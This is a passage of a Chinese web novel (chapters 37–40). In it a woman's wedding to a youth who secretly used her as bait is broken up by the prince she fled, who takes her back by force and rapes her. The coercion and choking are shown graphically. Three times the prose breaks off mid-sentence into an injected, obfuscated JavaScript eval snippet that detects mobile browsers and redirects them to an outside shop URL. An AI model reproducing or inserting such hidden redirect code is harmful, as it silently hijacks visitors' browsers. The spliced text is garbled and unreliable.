高鹤小声提醒着:“少主三思,贤妃娘娘和芙泠公主,还在北齐等您回去,陈大人也还等您去救。” 徐渺再度睁眼时,眸底的犹豫与纠结消失殆尽,脸上恢复了往日的冷静与决然:“传我令,所有人即刻前往桃源村。” * 徐渺离开后,闻梨渐渐适应了一个人生活,有了许清的前车之鉴,她几乎不怎么出门,闲暇时候,坐在院子里看看药书,天晴得好时,她会去后院开垦荒地,向卖菜的老太太讨教怎么种菜。 要是想阿渺了,她会把他住过的房间打扫干净,晒一晒沾过他气息的被褥。 日子过得平静,唯有一天不太舒心。 那日,有个三十来岁的漂亮女人,自称是许清的相好,还带了个身强体健的男子找上门,非说许清藏在闻梨家中,要进去找一找。 闻梨无措之时,忽而天降两个身手矫健的侠客,将女人和壮汉赶走,几天后,闻梨才知道,原来这两人并非过路的侠客,而是阿渺安排的人。 闻梨曾试着向二人询问阿渺的近况,但对方每次都只是摇头,关于阿渺的消息一点都不肯透露。 桃源村地势偏北,花信来得慢,此时已是四月初,村外的桃花梨花杏花才开始盛放,自从得知有人暗中保护,闻梨偶尔也会出村逛逛。 这日傍晚,闻梨刚从村外摘来不少花瓣,打算做一坛桃花酒酿。 她尚未走进院门,便瞧见自家烟囱升起一缕青烟。 闻梨愣了一刹,忙不迭跑进门,小院明显被人收拾过,花花草草也都浇了水,磨盘上残留着一股久违的豆香,灶房内传来剁菜的声音。 是阿渺回来了!难怪有家的味道。 闻梨扔下小竹箩,急急忙忙跨进灶房门槛,待视线落定,果然瞧见正低头在砧板前切菜的少年,少年长身玉立,一袭月白衣衫干净简约,墨发随意挽在身后,气质出尘,神情专注。 少年抬头,认真打量闯进门的少女,笑容温润明朗:“一月不见,你都瘦了好一圈,是不是没好好吃饭?” 闻梨愣愣望着眼前人,鼻腔有点酸,悄悄掐下自己,惊觉这不是梦,阿渺真的回来了。 少年熟练拿起锅铲,背过身去,开始炒菜:“再有一会儿,就能吃饭了,今晚全是你爱吃……” 感受到后背传来的温热怀抱,少年脊背一僵,想说的话卡在嗓子眼。 闻梨将脸埋在徐渺后背:“阿渺,我很想你。” 晚上的菜色很丰盛,闻梨出门打了二两酒回来,豪言说今晚不醉不归,紧接着徐渺就瞧见她拿来一大一小的酒碗,大的推给他,小碗自己留下。 “阿渺,你的事情办完了吗?” 徐渺犹豫片刻:“还没有,出了点岔子。” “那你还要离开吗?”闻梨抬眼望他。 徐渺敛下双目,声音有些低沉:“暂时不走了。” 闻梨满心欢喜,刚想说甚好甚好,却瞧见徐渺说这话时神情并不是很轻松,她按下心头喜悦,给他倒了满满一碗酒。 徐渺不语,喝完了闻梨倒的每一碗酒。 这酒入喉实在辣,闻梨没喝几口,脸颊红彤彤,眼神有些飘忽,望着眼前赏心悦目的少年,她的胆子逐渐变大,先是戳戳他的手背,这会儿搬着凳子坐到他身侧,杵着下巴,堂堂正正地盯着他看。 “阿渺,你真好看,比天上的星星还好看。” 很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16456186|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少见闻梨有如此直白坦率的时候,徐渺不自然地往旁边挪了挪,不料对方蓦然起身,摁住他的肩,脸凑过来,杏眸亮亮的,唇齿间扑来的气息清甜又干净。 “阿渺,跟我成亲吧。我知道你有自己的事情要忙,但没关系,我会在家等你。” 徐渺愣怔好半天,眼神有点慌乱和紧张,声音些许无措:“你……喝醉了。” “我没醉,我很清楚自己在说什么。”少女直起身,碧绿的发带随着风飘动,她清丽的脸上带着点微醺的红润,长睫下的杏眸如池中秋水,比往常任何时候都要澄澈明亮,“从来这里的第一天,我就盘算着如何让阿渺跟我成亲,但是方法有点笨,还招惹了不少麻烦。” 她回头看他,眼底透着淡淡的哀愁:“我以前生活在囚笼里,没有双亲的疼爱,也没有能说话的朋友,别人给什么吃什么,不给就饿肚子,挨打罚跪更是家常便饭,还好我逃出来了,还遇见了阿渺,你是第一个关心我吃没吃饱的人,也是第一个给过我温暖的,有阿渺在,才有家的味道。” 徐渺先前一直在喝酒,此刻酒喝完了,他才想起来要去夹菜,入口的菜早已冷透,他却感觉不到,尽管他已经极力克制自己,不让情绪外露,但微微颤抖的竹筷还是暴露了他内心掀起的波澜。 “我没有你说的那么好。”徐渺试图稳住声音,面上装得风轻云淡。 “在我心中,阿渺就是很好的人。” 闻梨等了半天,见徐渺一直没回答,心里便明白了几分,她仍站着,情绪有些低落,想要把这个话题揭过去:“没关系,阿渺不用着急回我,成亲是大事,还是想清楚比较好,今晚是我鲁莽了。” 她无所适从坐下开始吃饭,三两下便把碗里的饭菜全部吃完,“我、我先回房了,你慢慢吃。” 闻梨几乎是落荒而逃的,彻夜难眠,到了后半夜,天又淅淅沥沥下起雨,闻梨猛然想起,前几日帮徐渺晒棉被,忘记送回他的房间,那今晚他岂不是没被褥睡觉? 思来想去,她摸黑下床,从柜里抱了床棉被,决定给徐渺送去。 敲了三下门,房内亮起灯,徐渺开门得很快,显然也还没睡。 闻梨把被褥塞他怀里,解释道:“那个,前几天拿去晒,忘了送回来,我不是变态,没有抱着你的被子睡觉的癖好,晚安。”说着,她打了个喷嚏,转身要走。 徐渺第一眼就注意到,闻梨身上淋了不少雨,但棉被却让她保护得好好的,一点也没湿。 “过来,我给你擦干再睡。”徐渺侧身让出一条路。 闻梨原本是要走的,听到这话,先前被拒绝的尴尬抛至九霄云外,提脚跟进屋中,乖乖坐下,等着徐渺来帮自己擦干头发。 徐渺放下被褥,取了干净的方帕,来到闻梨身旁,一点点擦去她发丝间落下的雨滴。 起初闻梨还低着头,后来视线从少年的手,逐渐上移,落到了他清俊的侧脸上,灯色如橘,门外狂风暴雨,门内却安静而温馨。 闻梨看呆了,嘿嘿笑道:“阿渺,你真好看。” 徐渺不自觉攥紧手中巾帕,故作镇定:“只有好看?” 闻梨想了想:“也好用!不不不,我不是那种意思,是夸你能干,说不定也很好亲呢!” 话比脑子快,闻梨飞快瞄了眼徐渺,见他神情僵住,心里万般懊悔,忙不迭起身,想要火速逃离现场。 不料起身的瞬间与徐渺撞了个满怀,闻梨趔趄后退,腰差点磕到后边的矮柜上,却被一只有力的手揽住,两人几乎脸贴脸,一个慌乱仰头,一个从容低头,这份从容里又带着点难以克制的情愫。 “要不要亲亲看?”此话一出,徐渺也感觉自己怕是疯了。 38. 第三十八章 闻梨愕然睁大眼,心跳如擂,说话有点结巴:“可、可以亲?但你喜欢我吗?” “喜欢。”少年郑重其事说出心中所想。 “那你愿意跟我成亲吗?” “好。” 闻梨伸手捧过他的脸,眼神明亮,笑容羞涩:“你先闭眼。” 徐渺唇畔牵起深深笑意,依言闭眼,等了许久,鼻尖始终有对方身上淡淡的清香,却迟迟感受不到覆过来的唇。 徐渺睁眼,发现闻梨正望着他笑,她的眼里还带着几分狡黠。 “哪能那么容易让你亲到,谁让你犹豫那么久才答应我,这是小小的惩罚。” 她说话的嗓音软软的,听得徐渺的心也软软的。 徐渺手稍稍用些力,把人往自己怀里带了带,顷刻间,两人呼吸近在咫尺,他似笑非笑,声音温柔缱绻:“那我亲你,向你赔罪。” 话落,他虔诚地吻上她的唇瓣。 少年的吻很轻柔,还有几分笨拙,甚至忘记了换气,完全沉溺在与她柔软唇瓣的纠缠中,他的气息愈发不稳,却又生怕弄疼她,一边小心翼翼,一边又很快沉浸进去,过滤纷扰的思绪,用尽所有来感受这个青涩绵长的吻。 闻梨没忍住推推他的肩,趁着喘息的空闲,提醒道:“你倒是换气……唔……” 少年像是着了魔一样,抱得越来越紧,不肯给她一丝喘气的机会。 外窗仍是狂风大作,暴雨如倾,院中的芭蕉叶随风摇曳,檐下的竹箩也被风雨打翻,桃花瓣卷地而起。 * 成亲的日子在半月后。 闻梨觉得时间稍微有点赶,还想给欢颜写信,让欢颜带上小婉和段道长,一起来参加喜宴,已经没有双亲了,倘若连朋友的祝福都没有,那也太冷清了点。 但她转念一想,也许成亲后,阿渺有自己的事情要忙,不能耽误他,至于欠下的喜酒,等欢颜他们来了再补也不迟。 于是日子就这么定下了。 关于成亲的规格和礼仪,闻梨想着一切从轻从简,先去成衣铺置办了两套喜服,花色是她亲手挑选的,又跟着邻居大婶学习剪喜字,剪窗花,布置喜堂和新房。 望着新铺上的大红喜被,闻梨的脸也被映得通红,想到往后的日子,他们会睡在同一张床上,盖同一床被褥,整间屋子都会沾上阿渺的味道。 她幻想着,倘若阿渺每天要早起练剑,就把他的衣服藏起来,不穿衣服的美少年,舞起剑来定别有一番风味! “在想什么,这么开心?”身侧忽然传来徐渺的声音。 闻梨羞得直把脑袋往被褥里藏,透出一个缝,偷偷观察他:“你今天怎的这般早回来?” 徐渺神情略显疲惫,眼眸仍含着笑,在床榻边坐下,手握成拳头,伸到闻梨眼前,“猜猜里面有什么。” 闻梨顿时来了兴致,从被褥里爬出来,捉住徐渺的手,生怕他跑了一样,一边掰,一边道:“肯定是糖。” 徐渺笑了笑,手指摊开,掌心躺着一枚精致小巧的竹蜻蜓,“回来的途中,看到有人卖这个,我想你肯定喜欢。” “好玩,我喜欢这个!”闻梨拿起竹蜻蜓细细地瞧,她屋子里收集了不少这种小玩意,头一回看到如此精妙的,心里十分喜爱。 徐渺顺势躺下,双手枕在脑袋后,闭眼休息。 “阿渺,这附近的邻居我都请了,以后毕竟要在这里生活,少不了要跟他们打交道,对哦,我还请了几个吹唢呐的,成亲那天一定很热闹!” “这几天辛苦你了。”徐渺每日早出晚归,成亲的事宜几乎都是闻梨在准备。 闻梨并不觉得累,反而有种满足感,亲手布置自己的喜堂,一切按自己的心意来。 “对了,有件事还没问过你。”闻梨搁下手头的竹编,一脸认真:“我已没了亲人,那阿渺你呢?家中可还有什么人?” 徐渺眼神黯然:“有母亲和妹妹。” “那要邀请她们吗?” “不了,她们来不了,等日后,我带你去见她们。” 闻梨应了声好,又想起另外一件事,忙不迭取来一封早就写好的信,“阿渺帮我把这个寄给欢颜,听说江湖上有种飞很快的信鸽,几日就能送到。” 徐渺笑着接过,拢进怀里。 晚上吃过饭,徐渺借口洗碗,来到厨房,面无表情将怀中的信扔进灶膛,沉静而幽冷的眸子久久盯着那一簇火光,直至信纸化为灰烬。 * 转眼便来到成亲当天,四月下旬的天不冷不热,年前在院墙边撒下的花种,此时也都纷纷绽放,小院中春意盎然,庭灯上系了红绸,回廊、檐下挂满大红灯笼,处处彰显喜庆的氛围。 离喜宴还有几个时辰,闻梨坐在铜镜前梳妆,邻居大婶带着她的女儿,坐在房中陪闻梨说话。 小姑娘刚十岁左右,正是天真烂漫的年纪,说起话来无拘无束:“新娘姐姐,你长得真好看呐!是我见过最漂亮的新娘子!” 闻梨笑着,从桌上抓了一大把喜糖,递给小姑娘。 小姑娘笑嘻嘻接过,又道:“我方才还瞧见新郎官了,也长得跟神仙似的,新娘姐姐,你们两个真般配呀,以后肯定生个极好看的小娃娃!要是生男娃,能不能留着给我以后当夫君?” 闻梨扑哧一笑,尚未涂抹腮红的脸却已红透。 大婶用手点点自家丫头的脑袋:“你过几年就要许人家了,哪里等得到小娃娃长大?” 因着邻居大婶的缘故,好些不认识的人,也都带着礼物来参加喜宴,隔着一堵墙,热闹的恭贺声陆陆续续传进耳中,闻梨的心稍稍安定了些,还好,这场喜宴不会很冷清。 前院,迎完宾客的徐渺神色一变,走到无人处,紧接着墙头落下一道身影,来人是高鹤。 “启禀少主,消息前天就放了出去,谢陵果然动身了,且只带了十来个亲卫,想必傍晚便会到达桃源村。” 徐渺道:“让杜承、冯胜做好准备,另外让杨泽带人随时接应,等谢陵一到,就把院子围起来。” 话音未落,回廊拐角处忽而响起一道低沉磁性的嗓音:“阁下现在才做准备,怕是来不及了吧?” 徐渺愕然回头,却发现谢陵竟大摇大摆从前院走来,为何没人来禀报?他明明留了不少人手守在宅院外,谢陵怎能悄无声息就潜进院中? 高鹤先将自己少主护在身后,一脸愤恨道:“谢狗!你是怎么进来的?” 谢陵双手负在胸前,狭眸扫过徐渺身上的喜袍时,不经意透出眸底的一缕杀意,他语气淡淡,说出来的话却满含戾气:“从你们住进这里的第一天起,周围就都换成了本王的人,夺妻之恨,本王岂能容你苟活?来人,绑了他。” 此话一出,墙里墙外涌进来不少谢陵的人,与徐渺二人缠斗在一起,徐渺躲避着,被迫跃上墙头,才发现自己布在院外的死士们早被谢陵的人拿下,可怕的是,这一切发生得如此之快,且悄无声息。 徐渺心生绝望,头一回意识到自己与谢陵之间的差距。 傍晚,拜堂的吉时已到,闻梨盖好喜帕,在邻居大婶的搀扶下,缓缓走到前院喜堂。 宾客们皆已落座,喜堂内红烛高照,有风轻拂起梁柱上绑着的红花绸缎,透过喜帕,闻梨隐约瞧见堂中央站着个挺拔俊逸的身影,她徒然发现,少年好像长高了不少? 不知怎的,越是靠近新郎,不安的感觉愈发强烈,她又瞧了好几眼,面前人的身形,以及通身那冷若冰霜、生人勿近的气质,完全不像阿渺,倒有点像……那个人。 一旦心里起了点可怕的念头,闻梨只觉双腿有些发软,后背冒着冷汗,转眼间,她已经来到了新郎的身旁。 “咦?这个新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471703|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎哥哥怎的跟刚才长得不……”小丫头童言无忌的话戛然而止,像是被谁捂住了嘴。 犹如耳畔劈了一道雷,闻梨猛地扯掉喜帕,在看清面前人的霎那间,脸色煞白,一阵眩晕感袭来,闻梨只觉头昏脑胀,身子止不住地打颤,下意识往后退去,险些跌倒,却被眼前人稳稳攥住了胳膊。 闻梨木讷抬眸,在撞上对方沉郁愤怒的眼眸时,方才如梦初醒,她曾做过那么多谢陵追来的噩梦,如今噩梦成真,她倒有些反应不过来。 “卿卿真是让本王好找。” 谢陵压抑含怨的嗓音激得闻梨头皮发麻,她也不知是哪来的力气,使劲拍打着面前人,彷佛在驱赶什么洪水猛兽,可对方归然不动,且丝毫没有松开握紧她的手。 “卿卿真教本王失望,说好了此生只跟我一人,为何言而无信?”他的声音愈发森冷,握得也越来越紧。 闻梨实在挣不开,扑棱的几下,几乎耗尽自己的力气,她深深呼了口气,思绪稍微冷静了些,移开目光,想要去找寻阿渺的身影。 在二人亲手种下的芭蕉叶下,阿渺就躺在那里,浑身沾满血,不知是死是活。 “阿渺!” 闻梨心急喊了一声,下一秒便被些谢陵禁锢在怀里,他强硬地掰着她的脸,不许她朝那边看,也不许她喊,闻梨固执地扭头,眼泪在眶里打转,下颌处留下清晰的红印。 谢陵生怕弄伤了她,忙松了手上的力道,就在他松手的瞬间,怀中人卯足劲推开他,踉跄着脚步往芭蕉叶下跑去。 “阿渺,你别死。”闻梨抱起地上狼狈的少年,哭得肝肠寸断,她捏起袖角,一点点拭去少年脸上的鲜血,她的哭声几近喑哑:“是我害了你,是我害了你,阿渺,对不起。” 少年缓缓睁眼,望着眼前人哭得跟小花猫一般,心口疼得厉害,却悔得要命,不该把她牵扯进来,他好悔,也好恨,他真该死啊,猛然吐了口血,他抬手擦去她脸上的泪珠:“别哭,不值得为我这样伤心。” 见徐渺没死,闻梨止住哭声,最后一次握紧他的手,“阿渺相信我,我能保你性命,我们从此分开,你要好好活着,把我忘了,去过自己的日子。” 她伏低身子在他耳边轻语道:“这一年与阿渺度过的每一天,我很高兴,也从未后悔。” 徐渺痛苦地闭上双眸,眼角也有泪痕划过,感受着她逐渐抽离的怀抱,想像往常那样将她护在身后,可他现在连翻身都艰难。 闻梨万念俱灰起身,走向堂内那道一直隐忍不发的身影,回到谢陵身边,她跪下磕头:“是我逼迫他跟我成亲,求王爷网开一面,放了他,我跟你回去,此生绝不再出王府半步,当狗也好,被栓锁链也好,我都认命了。” 谢陵沉默不语,神情冷漠看着,二人方才如何情深似海地告别,全落在他眼中,明明是别人夺了他的妻,现在他反倒成了狠心拆散有情人的恶人? 更让人气炸的是,他那逃跑的未婚妻,从不肯在他面前低头服软,仗着几分宠爱就把他耍得团团转,此刻竟为了别的男人跪下求他,这叫他如何能忍? 谢陵冷笑:“你现在有资格跟本王谈条件吗?” 闻梨一声不吭从地上爬起来,伸手打碎桌上的酒坛,赶在谢陵阻止之前,将碎碗尖抵在自己颈间,决绝道:“若王爷不肯放他一条生路,那我绝不独活,王爷确定要带一具尸首回去?” 远处的徐渺在努力爬过来,声音虚弱:“阿梨,不要做傻事。” 谢陵宛如听到这世间最可笑的话,可他笑不出来,清俊脸上渗着淡淡的阴霾,深不见底的眼眸凝聚起怒火、杀气,又有几分醋味与失意,很好,他最擅长的便是拆散有情人,他要她明白错得有多离谱,他要她悔,要她也尝尝被背叛的痛楚。 谢陵从袖中扔下一支金簪,唇边笑意凉薄:“你母亲的遗物可还认得?” 39. 第三十九章 在金簪落地的瞬间,闻梨脸上的泪珠凝固住了,远处的徐渺也瞧见这幕,他沮丧垂头,心里没有勇气再爬向她半步。 闻梨俯身捡起金簪,攥在手心:“怎会在你那里?” 她明明记得那天,自己亲手用这金簪赶跑许清,后来金簪消失不见,她还为此难过了一阵。 谢陵冷眸看向徐渺:“自然是有人送来,想利用此物给本王下套,齐国小皇子,你说是不是?” “你骗人……”闻梨瞪大眼,不可置信回头,想要从徐渺那里得到答案,可对方低着头,压根就不与她对视。 谢陵气笑了:“怎么?你连别人的底细都不清楚,就敢跟他成——亲?”他说到后两个字时,语气格外重。 闻梨还是不相信谢陵的话,谢陵惯会骗人,可徐渺默不作声,没有反驳,也没有承认,闻梨心中实在没底,不知道该相信谁。 谢陵心里失望透顶,唇边扬起一抹讥讽的笑:“看来卿卿还是不肯信我,既如此,那我全都告诉你,当日在酒楼拿你威胁我的刺客,就是他,北齐的十一皇子,你们成婚的消息也是他故意透露的,他根本没想娶你,你只是他利用的一枚棋子,现在,你还想为了他,连性命都不要吗?” 闻梨愣了好一半天,扭头看向那边的徐渺,声音有点发抖:“阿渺,这是真的吗?” 徐渺隔了许久才抬起头,少年面色惨白,眼圈通红,忍着不掉眼泪,曾经那双比星辰还要亮几分的眼眸,此刻却灰蒙蒙的,涌动着晦暗不明的情绪。 他太过痛苦和自责,以至于说不清一句完整的话:“对、对不起,全是我的错,不该……” 一时间,闻梨的脸血色尽失,举着碎碗的手无力垂下,眼泪似线般从脸颊滚落,她彷佛已经不会说话了,像是被抽干了灵魂,只是无声哭着,握紧碎碗的手忘记松开,血流出也不觉得疼,她感知不到周遭的一切,眼前的一切逐渐变得模糊,心死原来是这样的感觉,不疼,却如噬心腐骨,从里头开始坏死,挠无可挠,剜无可剜。 谢陵趁此机会,靠近闻梨,夺走她的手心的碎片,在对上她死气沉沉的眼眸时,他的心像是被钝刀割了下,得到想要的结果,他却愉悦不起来。 谢陵扭头吩咐风浅找纱布来,在整个包扎的过程,闻梨没有反抗,只是痴愣愣坐着,眼神空洞,浑身没有一丝活气。 另一边,徐渺也几乎昏死在地上,仅剩一点残留的余念,虚弱而固执地唤着闻梨的名字。 替闻梨包扎好手心的伤口后,谢陵终是有些不忍,好心扔给闻梨一把匕首,“这般要死要活的做什么?既然恨他,不如亲手解决了他。” 闻梨没接。 谢陵拿回匕首,起身欲走:“那我帮你杀了他泄恨。” 闻梨眼眸里终于有了点活人气,无力地去扯谢陵的衣袖,险些被他的力道带翻,双膝扑地,整个人麻木趴在地面,手却抱着他的腿不放。 “别杀他。” 谢陵气急败坏,伏低身子,攥紧闻梨的双肩,失声质问:“为什么?事到如今你还护着他?你究竟把本王置于何地?你是不是还没对他死心?” 闻梨被他摇晃得难受,唇色惨白,声音有气无力,只在重复着一句话:“别杀他。” 谢陵气得头发昏,对徐渺早已忍无可忍,恨不得杀之而后快,可他拿闻梨一点办法都没有,无奈、失望、妒忌、愤恨各种情绪充斥着他的脑子,手上的力道越来越重,他恨不得当场捏碎了她,但望着她因疼痛而蹙起的眉头,所有的阴暗情绪瞬间溃散。 谢陵松开手,腥红的眼眸里添了几分冷漠与狠厉,“本王可以饶他一命,那卿卿现在,就与本王拜堂,把你亏欠本王的补回来。” 闻梨刚要拒绝,可谢陵压根不给她说不的机会,蛮横抓住她的手腕,几乎是连拖带拽,将她推到喜堂前,半按半胁迫,逼着她低头。 饶是脊背挺得再硬,胳膊终究拧不过大腿,闻梨彷佛一具提线木偶,被人摆成各种姿势,愣愣望着堂前的红烛,房梁悬挂的大红灯笼,还有案上她亲手摆放的喜糖与瓜果,映入眼帘的红,一幕幕讽刺至极,荒唐得很。 拜完堂,谢陵拉着闻梨起身,扭头吩咐了风浅几句,紧接着院中所有人离开,包括地上的尸首也都被清理走,唯独还剩个半死不活的徐渺。 谢陵抱起闻梨,朝新房大跨步走去。 被谢陵粗鲁地扔去喜床那刻,闻梨那双死寂如灭的眼眸掀起愤怒、难堪、以至绝望,悲从中来,她感到有股莫名的厌恶堵在胸口,憋得她痛,憋得她万分难受。 她抬起悲凉的眼,盯着面前解衣扣的男人,“他是骗了我,可你又把我当作什么?一个玩物?还是泄/欲的工具?堂堂王爷要什么样的人没有?何必在我这种人身上浪费时间。” 谢陵已然脱掉上衣,露出精壮的胸膛,他似野兽般伏近她,双手撑在墙面,一点点将她收拢在自己的掌控之中。 “卿卿觉得你自己是哪种人?” 闻梨目不转睛望着他,眼神怨毒:“一个永远不会爱你的人。” 谢陵眼眸极亮,沉默片刻,轻嗤出声:“爱不爱有何要紧?你活着是本王的人,死了也要跟本王埋在一块,你此生此世,休想摆脱我。” 闻梨心寒闭眼,一句话都不说,心知自己拧不过他,便把自己当作木头,一截死了的木头。 谢陵望着她脸上那副毫不掩饰的厌恶,心中忽然改了主意,起身打开房门,朝外吩咐:“把他抬进院中。” 很快,奄奄一息的徐渺被人抬到了门外。 听到外边的动静,闻梨睁眼,却瞧见谢陵拿着长剑出屋,脑海中登时浮现少年惨死剑下的画面,她嗓子发紧,喊不出声,便跌跌撞撞追出门,才发现谢陵在门外故意等她出来。 闻梨瘫坐在地,还好徐渺没被他一剑杀死。 外间天色早已全黑,屋内那对花烛的光亮明晃晃照来,谢陵用带血的长剑挑起闻梨下巴,清绝如玉的脸上勾起冷笑,他已经彻底失去理智,有的是法子让闻梨心甘情愿。 “卿卿也不想那小子死在你面前对吧?乖,跟我进屋。” 闻梨绝望抬头,脸上惊愕失色,面前人怕是疯了,竟然用这种下三滥的手段逼迫她就范。 “阿梨,我去死,我真该死。”少年强撑着身子爬过来,冷白如霜的脸沾满血迹,眼里氤氲起浓浓水雾,原本出尘俊秀的容颜却如院墙边被摧残过的花草,破碎得不成形,凄凉颓败。 他想再瞧她最后一眼,然后决然赴死,撞头的瞬间,被风浅摁在地上,动弹不得。 闻梨却别过脸去,不再看他,她颤巍巍站起身,“放他离开。”扔下这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483084|180824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话,她转身进屋,犹如头一次那样,自己褪去衣裳,闭眼躺好。 红帐落下,阻隔了烛光,结实而滚烫的胸膛压来的刹那间,闻梨胃里翻涌着酸水,咬紧唇,一声不吭,承受着对方施加在她身上的怒火。 “睁眼卿卿,睁眼看我,你这样冷淡,我很不满意。”谢陵掰着她的脸,迫使她睁眼看他。 闻梨睁眼,泪水似泉水般涌出,打湿她的头发与枕巾。 “你们有没有这样做过?卿卿想好了再回我。” “王爷何必自欺欺人?要是嫌我脏,停下不就好了?” 谢陵沉下脸,手稍稍用力,痛得闻梨没忍住抖了下,另一只手抚摸她的脸,却不是安抚,而是往下顺势捏紧她脆弱纤细的脖颈,“确实嫌脏,但本王不会停下,本王要卿卿记住今晚的教训。” 猛然受了力,闻梨吃痛极了,死死咬紧唇,唇破溢出血来。 谢陵愈发丧心病狂,喘息之余,贴在她耳边恶魔低语:“想哭就哭,他还在门外跪着。” 闻梨忍耐到了极限,张嘴咬住谢陵的臂膀,恨不得把十倍的痛还给他。 谢陵的兴致却愈发高涨,丝毫不减速度与力道,“卿卿做得好,我就喜欢看你发怒样子,这次我不会再心软了,你休想逃走,永远也别想。” 他的嗓音逐渐喑哑:“对,哭出声,再大点声,本王喜欢听。” 屋内红烛燃烧了一整晚,摇床声与呜咽的哭声也响了整夜,到了后半夜,闻梨的嗓子哑了,眼泪也流干了,意识逐渐涣散,她几乎昏厥过去。 谢陵情难自抑,捧着闻梨的脸,一遍遍亲吻她脸上的泪痕,直至索取到最后,他卸下浑身的力,一头栽到枕边,搂着怀中人安然歇息。 门外,徐渺趴了一整夜,他早已哭到晕厥,闻梨的哭喊声和求救,始终萦绕在他耳边,晕了又醒,醒来又痛心到昏过去。 他从没有如此痛恨过自己,恨自己软弱无力,恨自己保护不了闻梨,恨自己拿闻梨当诱饵,是自己亲手毁掉她的生活,毁掉她。 是他亲手把闻梨送到大魔头眼前。 无数次,他想自戕,以死来惩罚自己,可一想到自己死后,闻梨还是会遭受那个人无尽的折磨,他便不忍心了,咬着牙硬生生挺过一夜,他要活下去,要杀掉谢陵,要救回闻梨。 “杀掉他、杀掉……”少年已经神志不清,呓语不断。 长夜终于过去,黎明将至,谢陵起身,命人送来热水,洗浴过后,他拿着热毛巾,为闻梨擦身上药,最后将仍在昏睡的她抱上马车,启程回京。 临行前,风浅来问徐渺怎么处置。 谢陵低头扫了一眼地上狼狈惨然的少年,对于没什么威胁的人,谢陵从来不放上心:“放了吧,毕竟是齐国皇子,死在晋朝境内难免落人口实,另外,把这座宅院烧掉。” 火是从灶房开始烧起的,在那里有闻梨最喜欢的碗碟,曾经有个少年在灶房给她做饭,给她熬汤,紧接着是院中的芭蕉树,迎着风狂舞,可它的根生在这里,再怎么摇曳也难逃火势,最后是闻梨案几上的医书,夹在医书里的酿酒秘方,还有房檐下的套椅,她曾在那里喝茶听雨,与暗恋的少年彻夜谈心。 这一切被一把火烧尽,仿佛从不曾有这样一间宅子。 小院火势冲天,马车渐行渐远。 40. 第四十章 仲夏时节,窗外蝉鸣鼎沸,闷热得让人喘不过气。 王府书房内,谢陵坐在堆叠如山的折子前,神情恹恹,思绪几度飘走,又几度被身旁的声音唤回,桌上醒神的茶水喝了一杯又一杯,他始终提不起劲来批折子。 眼见谢陵又开始走神,军师商晏再次温声提醒:“殿下,您此次去桃源村,已积攒下太多政务,倘若处理不完,明日早朝,必会引起朝臣们的不满,谢侯爷那边也不好交代。” 这话谢陵听得耳朵起茧,心里厌烦至极,没忍住发脾气:“先生到底是我的谋士,还是二叔的谋士?成天替他管着我?” 商晏愣了一瞬,即刻跪下请罪:“殿下恕罪,是晏失言了。” 谢陵并非这个意思,无奈起身,将商晏扶起,“本王不是对先生不满,只是心里有点烦。” 谢陵也弄不明白这种烦躁从何而来,一想到整日不是闷在书房批折子,就是在宫里对着满脸褶子的大臣们商议政事,那些满腹算计的一张张老脸,他都快看吐了。 门外传来急促的脚步声,片刻后,风浅推开门道:“王爷,三娘有事求见。” 殷三娘是府上的厨娘,很少踏足书房,自从谢陵把闻梨带回府,便一直是殷三娘在照顾,此时贸然求见,必是闻梨那边发生了什么事。 谢陵径直出了书房,一眼看到院中焦急等待的殷三娘。 殷三娘见谢陵亲自出门,赶忙迎上,顾不得请安,满脸急切道:“王爷,刚才谢侯爷来到府上,说要见……见公主。” 三娘不知该如何称呼闻梨,自从王爷把人带回来,每晚要在公主房中过夜,却丝毫不提给名分的事情。 谢陵神色明显慌了一瞬,身形如一阵疾风般往后宅掠去,不多时赶到主院外,尚未进门,便听到里边传来女子清冷倔强的嗓音。 “谢侯爷何必动粗?我喝便是。” “别喝!”谢陵加快脚步,推开欲拦在垂花门的几个护卫,可惜还是晚了一步,当他瞧见闻梨时,她正捧着碗,将碗里黑乎乎的汤药一饮而尽,脸上不曾有过一点迟疑。 谢陵蹙紧眉,过去扔掉闻梨手里的碗,欲从她背后运功催吐,闻梨却不肯,为了躲他的手,不惜光着脚踩在石子路面,疼也不吭声。 谢陵这才注意到闻梨没有穿鞋,腿上还有明显的青肿,显然是被人从屋里拖来此处,他沉着脸,不顾她的挣扎,将人拦腰抱起,欲往寝房走。 “胡闹!你眼里可还有我这个二叔?”一旁的中年男子黑脸呵斥道。 谢陵回头,语气没了往日的恭敬:“人命关天,二叔有什么话还请稍后再训。” “慢着!我给她喝的不是毒药,只是避子汤。” 